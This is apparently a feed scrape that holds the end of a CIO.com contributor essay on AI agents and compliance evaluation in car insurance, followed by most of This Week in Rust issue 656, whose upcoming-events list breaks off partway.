<p>Even more than the interface, I’m energized about forthcoming improvements in the agent-to-agent ecosystem. I envision a future where, for example, an online car-buying service like CarEdge or AutoCompanion learns key info about a given user, including their vehicle preferences, budget and safety priorities; then, at the moment the user clicks “buy,” that entire world of context is communicated directly from that website and its human or AI agent to an insurance agent. This layer of interaction eliminates the need for the customer to repeat redundant details while also ensuring that they are instantly offered the best personalized insurance policy.</p>



<p>Peering forward, I’m especially excited about this “agent-to-agent” future. Years ago, I built recommendations, search engines and pricings for a used car e-commerce platform, employing basic filters like “Toyota under $30,000.” But nowadays, people hunt online with so much more context and use conversational AI for nuanced intent, with focused queries like “I need a car for a family of three that fits a bulky stroller.” Extracting that deep context from a vehicle-purchasing AI agent directly into our insurance workflow is a fantastic opportunity to eliminate friction.</p>



<p>Another trend that has me stoked? AI’s increasing ability to help regional insurers structure their data. Smaller insurers, which know their local markets more than national players, have traditionally struggled to aggregate their numbers for digital marketplaces. But by better leveraging AI agents, we can now provide info to customers that was previously difficult to obtain, introducing them to insurance companies that are a better fit.</p>



<p>What’s behind my continued fascination with AI agents? Maybe it has something to do with our corporate culture at The Zebra, which emphasizes creativity, curiosity and fun – as exemplified by our obsession with Legos. Walk into our offices or attend a virtual meeting and you’ll see everyone clicking bricks together. We even commemorate exceptional company or career milestones by gifting Lego sets. These all-ages toys serve as a physical manifestation of a “Tinker mindset.” Legos have taught me that complex architectures are simply collections of tiny but well-defined parts you can remix inventively. When we launched <a href="https://www.linkedin.com/pulse/bricks-bots-vibe-coding-why-future-insurtech-built-daniel-herrington-qvdie/" rel="nofollow">Zebra Labs</a>, it dawned on me that “vibe coding” with AI is akin to playing with digital Legos: Snapping together prompts, models and APIs to construct a security triage agent calls for the same kind of foundational logic needed to assemble a <a href="https://www.lego.com/en-us/product/porsche-911-rsr-42096?consent-modal=show&amp;age-gate=grown_up" rel="nofollow">Lego Technic Porsche 911</a>. To me, this mindset makes AI development feel like an organic extension of how we already work.</p>



<h2 class="wp-block-heading">Navigating challenges ahead</h2>



<p>It’s natural to be optimistic about what’s just beyond the horizon. Still, the industry has to be careful about “AI slop” – using AI to build things too quickly without truly knowing where and how it fits. This is an especially slippery slope when it comes to licensing. Case in point: If you ask an off-the-shelf LLM which policy to purchase for a Porsche (the real, non-Lego kind), it could suggest one that violates licensing laws.</p>



<p>You also have to think ahead about hidden hazards when operating in a regulated financial space. In my previous job at Google, I worked on improving the efficiency of Waymo models; at The Zebra’s Austin headquarters, I constantly see these autonomous vehicles, which have taught me quite a bit about edge cases. A Waymo can spot a city stop sign completely obscured by overgrown leaves thanks to its LiDAR and internal maps, safely stopping the car and logging the danger. At our company, strict compliance rules represent those <a href="https://www.linkedin.com/pulse/seeing-stop-sign-through-trees-how-ai-evals-insurance-herrington-e0nbf/" rel="nofollow">hidden stop signs</a>. Imagine a generic LLM confidently advising a user to drop comprehensive coverage to save a few dollars; doing so means it is acting as an unlicensed advisor – a massive legal liability. The lesson here is that you can’t just give AI the keys, ask it to be professional and simply hope for the best.</p>



<p>To prevent this, I’m creating a digital sensor suite using strict evaluation platforms. This way, before an AI agent can interact with the customer, it has to survive a simulated gauntlet graded on three metrics: factuality (is the information correct?), compliance (did it avoid making a regulated recommendation?) and accuracy (did it hallucinate any features?).</p>



<p>I was recently in Nashville for the Insurance Innovators conference. The audience wanted to know where I’m placing my business bets for The Zebra. My answer was simple: “personalization agents.” I’m investing heavily in resources that evaluate colossal volumes of policy data that can supercharge our human advisors. By extracting the specific data points they require exactly when they need them, I can help eliminate administrative friction and ensure they receive the perfect coverage for their unique risk profiles.</p>



<p>But it’s important to prioritize jobs as we make this transition to more grounded LLMs. This sector isn’t ripe for disruption simply because you can decrease and automate costs by subtracting people from the equation. This next phase I foresee should produce a more synergistic partnership between AI and human beings – especially licensed advisors who make sure we apply hyper-personalization and avoid the kinds of mistakes AI is known for. Yet we also want to unlock an experience so precise that relying solely on human decision-making will eventually feel like an unnecessary risk.</p>



<p>This customer-focused and increasingly bespoke insurance experience I’m dreaming of requires moving beyond simple task automation to a point where data is efficiently structured, and both human and AI agents communicate effectively across platforms. We’re almost there, and everyone – from the policyholder to the underwriter – stands to benefit.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[This Week In Rust: This Week in Rust 656]]></title>
<description><![CDATA[Hello and welcome to another issue of This Week in Rust!
Rust is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
@thisweekinrust.bsky.social on Bluesky or
@ThisWeekinRu...]]></description>
<link>https://tsecurity.de/de/3606667/tools/this-week-in-rust-this-week-in-rust-656/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3606667/tools/this-week-in-rust-this-week-in-rust-656/</guid>
<pubDate>Thu, 18 Jun 2026 07:08:48 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hello and welcome to another issue of <em>This Week in Rust</em>!
<a href="https://www.rust-lang.org/">Rust</a> is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
<a href="https://bsky.app/profile/thisweekinrust.bsky.social">@thisweekinrust.bsky.social</a> on Bluesky or
<a href="https://mastodon.social/@thisweekinrust">@ThisWeekinRust</a> on mastodon.social, or
<a href="https://github.com/rust-lang/this-week-in-rust">send us a pull request</a>.
Want to get involved? <a href="https://github.com/rust-lang/rust/blob/main/CONTRIBUTING.md">We love contributions</a>.</p>
<p><em>This Week in Rust</em> is openly developed <a href="https://github.com/rust-lang/this-week-in-rust">on GitHub</a> and archives can be viewed at <a href="https://this-week-in-rust.org/">this-week-in-rust.org</a>.
If you find any errors in this week's issue, <a href="https://github.com/rust-lang/this-week-in-rust/pulls">please submit a PR</a>.</p>
<p>Want TWIR in your inbox? <a href="https://this-week-in-rust.us11.list-manage.com/subscribe?u=fd84c1c757e02889a9b08d289&amp;id=0ed8b72485">Subscribe here</a>.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-rust-community">Updates from Rust Community</a></h4>

<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#projecttooling-updates">Project/Tooling Updates</a></h5>
<ul>
<li><a href="https://arxiv.org/abs/2606.15991">cuTile Rust - Fearless Concurrency on the GPU, memory-safe, data-race-free GPU kernels, B200 benchmarks</a></li>
<li><a href="https://www.iroh.computer/blog/v1">Iroh 1.0 - Dial Keys, not IPs</a></li>
<li><a href="https://manishearth.github.io/blog/2026/06/14/diplomat-multi-language-ffi-for-rust-libraries/">Diplomat - Multi-language FFI for Rust libraries</a></li>
<li><a href="https://sergey-melnychuk.github.io/2026/05/23/yevm/">I built EVM from scratch. Again.</a></li>
<li><a href="https://zelanton.github.io/processkit/">processkit 1.0 - async process tree management</a></li>
<li><a href="https://github.com/obazin/litchee/releases/tag/v0.1.0">litchee: Rust Lichess API client</a></li>
<li><a href="https://jolars.co/blog/2026-06-10-basin/">Basin - Numerical Optimization in Rust</a></li>
<li><a href="https://github.com/carboxyl-rs/carboxyl/releases/tag/v0.1.0-servo-rc.1">Carboxyl 0.1.0-rc - A servo-based browser for the terminal</a></li>
<li><a href="https://github.com/kunobi-ninja/kache/releases/tag/v0.6.0">kache 0.6.0 - a shareable Rust + C/C++ build cache</a></li>
<li><a href="https://github.com/GianIac/numax/releases/tag/v0.1.0">numax v0.1.0 - first stable release of the numax distributed WASM runtime</a></li>
<li><a href="https://dev.to/etoile_bleu/-i-built-a-sync-engine-for-clinics-that-run-on-2g-and-lose-power-mid-transfer-here-is-why-and-18od">ZamSync - offline-first Rust sync engine</a></li>
<li><a href="https://dev.to/phpcraftdream/ktav-i-got-fed-up-with-every-config-format-so-i-built-one-with-no-quotes-no-commas-no-54an">Ktav - a quote-free config format</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#observationsthoughts">Observations/Thoughts</a></h5>
<ul>
<li><a href="https://trifectatech.org/blog/zlib-rs-in-firefox/">zlib-rs in Firefox</a></li>
<li><a href="https://corrode.dev/blog/rust-prevents-data-races-not-race-conditions/">Rust Prevents Data Races, Not Race Conditions</a></li>
<li><a href="https://fnordig.de/2026/06/16/build-your-project-zig-style/">Build your project Zig-style</a></li>
<li><a href="https://kobzol.github.io/rust/2026/06/15/how-memory-safety-cves-differ-between-rust-and-c-cpp.html">How memory safety CVEs differ between Rust and C/C++</a></li>
<li><a href="https://kerkour.com/stdx-cratesio">Why stdx is not on crates.io</a></li>
<li>[videos] <a href="https://www.youtube.com/watch?v=PrfMpCaIh0k&amp;list=PL8Q1w7Ff68DBpmF38rcIAf8Z9Gj2TnlgM">RustWeek 2026 by RustNL, all talks playlist</a></li>
<li><a href="https://www.p2claw.com/blog/2026-06-09-the-ipad-was-on-tailscale/">The iPad was on Tailscale</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-walkthroughs">Rust Walkthroughs</a></h5>
<ul>
<li><a href="https://blog.sheerluck.dev/posts/learn-rust-concurrency-by-building-a-thread-pool/">Learn Rust Concurrency By Building a Thread Pool</a></li>
<li><a href="https://grack.com/blog/2026/06/11/life-before-main/">There Is Life Before Main in Rust</a></li>
<li><a href="https://wolfgirl.dev/blog/2026-06-16-async-task-locals-from-scratch/">Async Task Locals From Scratch</a></li>
<li><a href="https://dystroy.org/blog/picomobile/">Fearless Embedded Rust: Driving a Lego Car with a Pico W</a></li>
<li><a href="https://smista.ai/blog/how-we-built-a-provider-agnostic-llm-layer-in-rust-with-rig">Building a provider-agnostic LLM layer in Rust with Rig</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#miscellaneous">Miscellaneous</a></h5>
<ul>
<li>[video] <a href="https://2026.rustweek.org/blog/2026-06-10-rustweek-recordings-published/">RustWeek 2026 talk recordings</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#crate-of-the-week">Crate of the Week</a></h4>
<p>This week's crate is <a href="https://github.com/ArneCode/marser">marser</a>, a parser combinator library with a twist.</p>
<p>Thanks to <a href="https://users.rust-lang.org/t/crate-of-the-week/2704/1611">Arne Code</a> for the self-suggestion!</p>
<p><a href="https://users.rust-lang.org/t/crate-of-the-week/2704">Please submit your suggestions and votes for next week</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#calls-for-testing">Calls for Testing</a></h4>
<p>An important step for RFC implementation is for people to experiment with the
implementation and give feedback, especially before stabilization.</p>
<p>If you are a feature implementer and would like your RFC to appear in this list, add a
<code>call-for-testing</code> label to your RFC along with a comment providing testing instructions and/or
guidance on which aspect(s) of the feature need testing.</p>
<p><em>No calls for testing were issued this week by
<a href="https://github.com/rust-lang/rust/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rust</a>,
<a href="https://github.com/rust-lang/cargo/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/rustup/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rustup</a> or
<a href="https://github.com/rust-lang/rfcs/issues?q=label%3Acall-for-testing%20state%3Aopen">Rust language RFCs</a>.</em></p>
<p><a href="https://github.com/rust-lang/this-week-in-rust/issues">Let us know</a> if you would like your feature to be tracked as a part of this list.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#call-for-participation-projects-and-speakers">Call for Participation; projects and speakers</a></h4>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-projects">CFP - Projects</a></h5>
<p>Always wanted to contribute to open-source projects but did not know where to start?
Every week we highlight some tasks from the Rust community for you to pick and get started!</p>
<p>Some of these tasks may also have mentors available, visit the task page for more information.</p>


<ul>
<li><a href="https://github.com/satyakwok/solana-infra-doctor/issues/77">solana-infra-doctor - List exit codes in <code>sol-doctor --help</code></a></li>
<li><a href="https://github.com/satyakwok/solana-infra-doctor/issues/78">solana-infra-doctor - Make the invalid-URL error suggest the expected scheme</a></li>
<li><a href="https://github.com/satyakwok/solana-infra-doctor/issues/79">solana-infra-doctor - Add a glossary of RPC readiness terms</a></li>
<li><a href="https://github.com/MrSheerluck/openslate/issues/38">openslate - add unit tests for slugify() in api/src/notes.rs</a></li>
<li><a href="https://github.com/MrSheerluck/openslate/issues/70">openslate - add integration tests for notes CRUD in api/src/notes.rs</a></li>
<li><a href="https://github.com/MrSheerluck/openslate/issues/96">openslate - add integration tests for auth flow in api/src/users.rs</a></li>
<li><a href="https://github.com/MrSheerluck/openslate/issues/89">openslate - add unit tests for build_fts_query() in api/src/search.rs</a></li>
<li><a href="https://github.com/MrSheerluck/openslate/issues/106">openslate - add integration tests for auth middleware and logout in api/src/auth.rs</a></li>
<li><a href="https://github.com/MrSheerluck/openslate/issues/85">openslate - add integration tests for media endpoints (DB layer) in api/src/media.rs</a></li>
<li><a href="https://github.com/MrSheerluck/openslate/issues/40">openslate - add unit tests for ext_from_mime() and filename_from_url() in api/src/media.rs</a></li>
</ul>


<p>If you are a Rust project owner and are looking for contributors, please submit tasks <a href="https://github.com/rust-lang/this-week-in-rust?tab=readme-ov-file#call-for-participation-guidelines">here</a> or through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-events">CFP - Events</a></h5>
<p>Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.</p>



<p>If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-the-rust-project">Updates from the Rust Project</a></h4>
<p>527 pull requests were <a href="https://github.com/search?q=is%3Apr+org%3Arust-lang+is%3Amerged+merged%3A2026-06-09..2026-06-16">merged in the last week</a></p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler">Compiler</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/156187"><code>obligations_for_self_ty</code>: skip irrelevant goals (recompute <code>sub_root</code> from <code>stalled_vars)</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157768"><code>codegen_ssa</code>: peel trans. wrappers on scalable vecs</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156934">add a check for impossible predicates to <code>trivial_const</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156816">add unstable loop unrolling hint attributes</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157714">improve polymorphization of raw pointer formatting</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/155200">introduce <code>#[diagnostic::on_type_error(message)]</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157781">perf: reuse green-marking's edge walk when promoting a node</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#library">Library</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/157355">add <code>or_try_*</code> variants for <code>HashMap</code> and <code>BTreeMap</code> Entry APIs</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/149749">make <code>BorrowedBuf</code> and <code>BorrowedCursor</code> generic over the data</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/155527">replace printables table with <code>unicode_data.rs</code> tables</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157876">stabilize <code>#![feature(box_as_ptr)]</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156629">stabilize <code>core::range::{legacy, RangeFull, RangeTo}</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/152544">stabilize <code>int_format_into</code> feature</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157877">stabilize <code>nonzero_from_str_radix</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157029">stabilize feature <code>float_algebraic</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cargo">Cargo</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/cargo/pull/17104"><code>trim-paths</code>: emit <code>CARGO_TRIM_PATHS_REMAP</code> for build.rs</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17101"><code>diag</code>: Give diagnostics the same display path behavior as rustc</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17095"><code>diag</code>: Report all errors, in order</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17071"><code>publish</code>: avoid false deadlock when <code>to_confirm</code> is non-empty</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17083"><code>resolver</code>: move yank policy to resolver layer</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rustdoc">Rustdoc</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/141000">also run lint <code>unused_doc_comments</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157874">cleanup and (micro-)optimize <code>print_where_clause</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157740">correct doctest span for trailing semicolon after item</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157838">don't strip hidden items in <code>AliasedNonLocalStripper</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157796">some more lazy formatting</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rustfmt">Rustfmt</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rustfmt/pull/6616">add <code>doc_comment_code_block_small_heuristics</code>, to override <code>use_small_heuristics</code> in doc code</a></li>
<li><a href="https://github.com/rust-lang/rustfmt/pull/6935">stabilize <code>hex_literal_case</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#clippy">Clippy</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17042">new <code>by_ref_peekable_peek</code> lint</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17192">add <code>with_capacity_zero</code> lint</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17191"><code>mem_replace_with_default</code>: also emit inside macros</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17175"><code>infallible_destructuring_match</code>: clean-up, split off the suggestion from the main message</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17184"><code>manual_is_variant_and</code>: lint <code>result.ok().is_some_and(f)</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17171"><code>needless_borrow</code>: same-name methods false positive</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17216"><code>unnecessary_lazy_evaluations</code>: handle closure <code>-&gt;</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17208">deprecate the <code>from_iter_instead_of_collect</code> lint</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17204">remove <code>is_integer_const</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17250">do not trigger <code>ref_patterns</code> lint on automatically derived code</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17145">enhance never loop</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/15779">add profile-specific configuration for disallowed methods and types</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16749">fix <code>collapsible_match</code> suggests wrongly when match body has no braces</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16868">fix <code>unnecessary_sort_by</code> reverse suggestion using wrong closure parameter name</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17107">fix redundant closure call async false positive</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17218">perf: check <code>is_in_test</code> last in <code>incompatible_msrv</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17219">perf: check the token kind before extracting source in early literal lints</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17220">perf: match expression shape before MSRV check in <code>cloned_ref_to_slice_refs</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17217">perf: skip <code>doc_markdown</code> text collection and word scan when the lint is allowed</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17225">perf: skip <code>single_component_path_imports</code> module walk when nothing to lint</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-analyzer">Rust-Analyzer</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22562">create directory for <code>cargo xtask metrics rustc_tests</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22575">don't count C-variadic <code>...</code> as a parameter for fn pointers</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22549">support flyimport exclude variants</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22566">fix destructuring assignments not introducing moves</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22584">offer inline macro in macro call and proc macro</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22591">prefer bench command when target is bench to avoid cargo run</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22551">supports inline variable in macro</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22574">use package id as argument to <code>--package</code> if package is not unique</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22545">assist <code>inline_type_alias</code> work on ADT definitions</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22579">perf: defer initial workspace flycheck until cache priming completes</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22561">remove docs about removed <code>analysis-bench</code> command</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22571">remove unnecessary feature flags from tests</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22585">use ASCII lowercase for dylib extensions check</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-compiler-performance-triage">Rust Compiler Performance Triage</a></h5>
<p>This week we had quite a lot of changes, a few small regressions that were a bit tough to diagnose, but the week is largely positive, overall.
Notably, we got one massive improvement on the next-solver benchmark in #<a href="https://github.com/rust-lang/rust/pull/156187">156187</a>,
and a nice speedup for incremental in <a href="https://github.com/rust-lang/rust/pull/157781">#157781</a>.</p>
<p>Triage done by <strong>@panstromek</strong>.
Revision range: <a href="https://perf.rust-lang.org/?start=f3ef3bd882dd24a275a60701a67c3bb330edd8c1&amp;end=b5d46ecb51c3e4134b82570cfe718f093daa6390&amp;absolute=false&amp;stat=instructions%3Au">f3ef3bd8..b5d46ecb</a></p>
<p><strong>Summary</strong>:</p>
<table>
<thead>
<tr>
<th>(instructions:u)</th>
<th>mean</th>
<th>range</th>
<th>count</th>
</tr>
</thead>
<tbody>
<tr>
<td>Regressions ❌ <br> (primary)</td>
<td>0.4%</td>
<td>[0.2%, 0.6%]</td>
<td>22</td>
</tr>
<tr>
<td>Regressions ❌ <br> (secondary)</td>
<td>0.5%</td>
<td>[0.1%, 2.0%]</td>
<td>40</td>
</tr>
<tr>
<td>Improvements ✅ <br> (primary)</td>
<td>-1.8%</td>
<td>[-5.9%, -0.1%]</td>
<td>125</td>
</tr>
<tr>
<td>Improvements ✅ <br> (secondary)</td>
<td>-3.8%</td>
<td>[-69.4%, -0.1%]</td>
<td>90</td>
</tr>
<tr>
<td>All ❌✅ (primary)</td>
<td>-1.5%</td>
<td>[-5.9%, 0.6%]</td>
<td>147</td>
</tr>
</tbody>
</table>
<p>1 Regression, 4 Improvements, 8 Mixed; 5 of them in rollups
28 artifact comparisons made in total</p>
<p><a href="https://github.com/rust-lang/rustc-perf/blob/d36b1ad8679b65efbb98252fbb93f72a7d90d4c6/triage/2026/2026-06-16.md">Full report here</a></p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#approved-rfcs"></a><a href="https://github.com/rust-lang/rfcs/commits/master">Approved RFCs</a></h5>
<p>Changes to Rust follow the Rust <a href="https://github.com/rust-lang/rfcs#rust-rfcs">RFC (request for comments) process</a>. These
are the RFCs that were approved for implementation this week:</p>
<ul>
<li><em>No RFCs were approved this week.</em></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#final-comment-period">Final Comment Period</a></h5>
<p>Every week, <a href="https://www.rust-lang.org/team.html">the team</a> announces the 'final comment period' for RFCs and key PRs
which are reaching a decision. Express your opinions now.</p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#tracking-issues-prs">Tracking Issues &amp; PRs</a></h6>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust"></a><a href="https://github.com/rust-lang/rust/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Rust</a>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/156047">Fix trait method resolution on an adjusted never type</a></li>
<li><a href="https://github.com/rust-lang/rust/issues/76314">Tracking Issue for atomic_from_mut</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/155499">stabilize never type</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/153563">Lint against iterator functions that panic when N is zero</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler-team-mcps-only"></a><a href="https://github.com/rust-lang/compiler-team/issues?q=label%3Amajor-change%20label%3Afinal-comment-period%20state%3Aopen">Compiler Team</a> <a href="https://forge.rust-lang.org/compiler/mcp.html">(MCPs only)</a>
<ul>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1002">Single-byte counter support in coverage instrumentation</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1003">Rename the compiler files containing struct diagnostics to <code>diagnostics.rs</code></a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#leadership-council"></a><a href="https://github.com/rust-lang/leadership-council/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Leadership Council</a>
<ul>
<li><a href="https://github.com/rust-lang/leadership-council/issues/301">Delegate Project Grants to the Funding team</a></li>
<li><a href="https://github.com/rust-lang/leadership-council/issues/304">Allocate budget to the Funding team</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-rfcs"></a><a href="https://github.com/rust-lang/rfcs/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Rust RFCs</a>
<ul>
<li><a href="https://github.com/rust-lang/rfcs/pull/3955">Named Fn trait parameters</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#language-reference"></a><a href="https://github.com/rust-lang/reference/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Reference</a>
<ul>
<li><a href="https://github.com/rust-lang/reference/pull/2262">Structs with no fields or all-ZST fields are ZSTs</a></li>
</ul>
<p><em>No Items entered Final Comment Period this week for
<a href="https://github.com/rust-lang/cargo/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/lang-team/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Team</a> or
<a href="https://github.com/rust-lang/unsafe-code-guidelines/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Unsafe Code Guidelines</a>.</em></p>
<p>Let us know if you would like your PRs, Tracking Issues or RFCs to be tracked as a part of this list.</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#new-and-updated-rfcs"></a><a href="https://github.com/rust-lang/rfcs/pulls">New and Updated RFCs</a></h5>
<ul>
<li><em>No New or Updated RFCs were created this week.</em></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#upcoming-events">Upcoming Events</a></h4>
<p>Rusty Events between 2026-06-17 - 2026-07-15 🦀</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#virtual">Virtual</a></h5>
<ul>
<li>2026-06-17 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314000478/"><strong>Rust Study/Hack/Hang-out</strong></a></li>
</ul>
</li>
<li>2026-06-17 | Virtual (Girona, ES) | <a href="https://lu.ma/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/ekws5nr4"><strong>Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-06-18 | Hybrid (Seattle, WA, US) | <a href="https://www.meetup.com/join-srug">Seattle Rust User Group</a><ul>
<li><a href="https://www.meetup.com/seattle-rust-user-group/events/314236370/"><strong>June, 2026 SRUG (Seattle Rust User Group) Meetup</strong></a></li>
</ul>
</li>
<li>2026-06-18 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/308455931/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-06-21 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/314329044/"><strong>Rust Deep Learning: Third Sunday</strong></a></li>
</ul>
</li>
<li>2026-06-23 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
